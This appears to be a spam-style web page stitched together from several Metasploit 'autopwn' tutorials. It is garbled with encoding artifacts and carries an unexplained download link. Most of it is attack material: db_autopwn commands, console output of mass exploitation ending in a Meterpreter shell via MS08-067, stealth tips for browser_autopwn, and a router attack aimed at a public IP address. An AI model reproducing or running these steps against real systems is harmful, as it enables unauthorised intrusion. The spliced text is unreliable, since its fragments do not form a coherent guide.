Metasploit |nmap Db Autopwn

We can see we loaded the browser_autopwn module residing at auxiliary/serve=
r/browser_autpown2 successfully in Metasploit. To launch the attack, we nee=
d to specify LHOST, URIPATH, and SRVPORT. SRVPORT is the port on which our =
exploit server base will run. It is recommended to use port 80 or 443, sinc=
e the addition of port numbers to the URL catch many eyes and looks fishy. =
URIPATH is the directory path for the various exploits, and should be kept =
in the root ...
It's like a smarter db_autopwn. Hail Mary finds recommended exploits for yo=
ur targets, filters them using the OS info of your target, and then sorts t=
he exploits into an optimal order. These exploits are then launched as one =
big volley at your target.
metasploit |nmap db autopwn
Download File https://t.co/oYL7ObKPkS
I open a terminal in kali linux and I type "ifconfig" and it shows an IP ad=
dress like 10.0.2.15 instead of 192.168.1.xxx, so after that when I start a=
nother terminal, to use an autopwn2 bot here's what I do.
See the documentation for the smbauth library. randomseed, smbbasic, smbpor=
t, smbsign See the documentation for the smb library. vulns.short, vulns.sh=
owall See the documentation for the vulns library. Example Usage nmap --scr=
ipt smb-vuln-ms08-067.nse -p445 nmap -sU --script smb-vuln-ms08-067.nse -p =
U:137 Script Output | smb-vuln-ms08-067:| VULNERABLE:| Microsoft Windows sy=
stem vulnerable to remote code execution (MS08-067)| State: VULNERABLE| IDs=
: CVE:CVE-2008-4250| The Server service in Microsoft Windows 2000 SP4, XP S=
P2 and SP3, Server 2003 SP1 and SP2,| Vista Gold and SP1, Server 2008, and =
7 Pre-Beta allows remote attackers to execute arbitrary| code via a crafted=
 RPC request that triggers the overflow during path canonicalization.|| Dis=
closure date: 2008-10-23| References:| -us/library/security/ms08-067.aspx|_=
 -bin/cvename.cgi?name=3DCVE-2008-4250 Requires  msrpc smb string vulns Aut=
hors:Ron BowesJiayi YePaulino Calderon License:  Same as Nmap--See -legal.h=
tml
Metasploit provides functionality to automate exploitation via the autopwn =
command[1]. When you write a module, there are certain requirements for it =
to be used within the autopwn routine.
This method is responsible for determining the correct target when used for=
 automated exploitation. In the future, this method will be able to query t=
he database to look for target-specific information about the target. The a=
utofilter method can set the TARGET datastore value along with any other co=
mmon parameters. As long as the final return value is true, the module will=
 be executed as part of autopwn.
For the sake of a quick how to, I'm just going to show you how to use the d=
b_nmap feature which automatically adds all the port scan details to the da=
tabase with your host.
 Then we'll breifly run through matching exploits from the db.
Something else I would like to point out is the difference between the db_n=
map vs using a Nessus scan output. The Nessus output is much more accurate =
in terms of applied attacks since these scan files include CVE info, with t=
his the autopwn feature can select only those exploits, rather than all exp=
loits that match the open port as the Nmap scan will. This is important if =
you are trying to run an automated attack without being too loud. It is als=
o somewhat sloppy to fire off 50 port 21 exploits, when are sure only 1 of =
your exploits in framework may work.
AutoPWN Suite uses nmap TCP-SYN scan to enumerate the host and detect the v=
ersion of softwares running on it. After gathering enough information about=
 the host, AutoPWN Suite automatically generates a list of "keywords" to se=
arch NIST vulnerability database.
The AMES tool passes the new style .nessus xml file output from Nessus scan=
ning software, it will then locate any exploit based on the CVE reported. T=
he Tool will then build a selection of command lines that the user can easi=
ly copy and paste to use. Since metasploit removed the autopwn feature this=
 is as point and click exploit that can be used.
=20
 =3D[ metasploit v3.3-testing [core:3.3 api:1.0]
 + -- --=3D[ 444 exploits - 216 auxiliary
 + -- --=3D[ 190 payloads - 21 encoders - 8 nops
 =3D[ svn r7521 updated today (2009.11.15)
 msf >
With Metasploit started, I decided to use the db_autopwn functionality to a=
lmost completely automate exploitation of the target. I create a sqlite3 da=
tabase, tell Metasploit to scan the target with Nmap, then use db_autopwn t=
o exploit the target.
msf > db_create
 [*] Creating a new database instance...
 [*] Successfully connected to the database
 [*] File: /home/richard/.msf3/sqlite3.db
 msf > db_connect
 [*] Successfully connected to the database
 [*] File: /home/richard/.msf3/sqlite3.db
 msf > db_nmap 192.168.199.128
=20
 Starting Nmap 4.53 ( ) at 2009-11-15 14:37 EST
 Interesting ports on 192.168.199.128:
 Not shown: 1710 closed ports
 PORT STATE SERVICE
 135/tcp open msrpc
 139/tcp open netbios-ssn
 445/tcp open microsoft-ds
 3389/tcp open ms-term-serv
 MAC Address: 00:0C:29:23:94:DD (VMware)
=20
 Nmap done: 1 IP address (1 host up) scanned in 1.642 seconds
=20
 msf > db_autopwn
 [*] Usage: db_autopwn [options]
 -h Display this help text
 -t Show all matching exploit modules
 -x Select modules based on vulnerability references
 -p Select modules based on open ports
 -e Launch exploits against all matched targets
 -r Use a reverse connect shell
 -b Use a bind shell on a random port (default)
 -q Disable exploit module output
 -I [range] Only exploit hosts inside this range
 -X [range] Always exclude hosts inside this range
 -PI [range] Only exploit hosts with these ports open
 -PX [range] Always exclude hosts with these ports open
 -m [regex] Only run modules whose name matches the regex
=20
 msf > db_autopwn -e -p
 [*] (6/90): Launching exploit/netware/smb/lsass_cifs against
 192.168.199.128:139...
 ...edited...
 [*] (82/90): Launching exploit/windows/smb/ms04_011_lsass against
 192.168.199.128:139...
 [*] Started bind handler
 [*] (83/90): Launching exploit/windows/smb/ms08_067_netapi against
 192.168.199.128:445...
 [*] Started bind handler
 [*] Job limit reached, waiting on modules to finish...
 [-] Exploit failed: Login Failed: The server responded with unimplemented
 command 0 with WordCount 0
 [*] Binding to 6bffd098-a112-3610-9833
 -46c3f87e345a:[email protected]_np:192.168.199.128[\BROWSER] ...
 [*] Bound to 6bffd098-a112-3610-9833-
 46c3f87e345a:[email protected]_np:192.168.199.128[\BROWSER] ...
 [*] Building the stub data...
 [*] Calling the vulnerable function...
 [*] Started bind handler
 [*] (89/90): Launching exploit/windows/smb/ms04_011_lsass against
 192.168.199.128:445...
 [*] Automatically detecting the target...
 [*] Started bind handler
 [*] Binding to 3919286a-b10c-11d0-9ba8
 -00c04fd92ef5:[email protected]_np:192.168.199.128[\lsarpc]...
 [-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED
 (Command=3D162 WordCount=3D0)
 msf >
 [*] Fingerprint: Windows XP Service Pack 2 - lang:English
 [*] Selected Target: Windows XP SP2 English (NX)
 [*] Triggering the vulnerability...
 [*] Sending stage (719360 bytes)
 [*] Meterpreter session 1 opened (192.168.199.1:35634 -> 192.168.199.128:2=
8616)
=20
 msf > sessions
=20
 Active sessions
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
=20
 Id Description Tunnel
 -- ----------- ------
 1 Meterpreter 192.168.199.1:35634 -> 192.168.199.128:28616
As Listing 7 shows, Metasploit now automatically runs the mysql-login scan =
against all listed hosts and also finds the vulnerable root account without=
 a password. All other cases have dictionaries for a password attack on /us=
r/share/metasploit-framework/data/wordlists. You can apply them by typing:
A rudimentary automation is still present in RouterSploit. You can at least=
 check one router for exposure to all exploits at once. For this there is a=
n autopwn module . As a test router, we will take a router on IP 83.17.188.=
82 and on port 80.
Metasploit Armitage is the GUI version of the famous Metasploit framework. =
We did an entire series of Metasploit tutorials on this site last month. In=
 this part of BackTrack 5 guide, we will look at the browser autopwn exploi=
t for Windows XP using Metasploit Armitage.
The screenshot above shows that we are logged in and we add a file on C:Doc=
uments and SettingswinautopwnDesktopwinautopwn.txt using the shell which we=
 gained. It reflects instantly on the compromised system in the RDesktop in=
terface.
use a Nessus results import to target a system and autopwn it. Create a new=
 database with db_connect and use db_import to import the scan report. In t=
he next example, we run db_autopwn with a series of switches to launch atta=
cks against all targets (e), show all matching modules (t), use a reverse s=
hell payload (r), select exploit modules based on vulnerability (x), and al=
so select based on open ports (p).
 eebf2c3492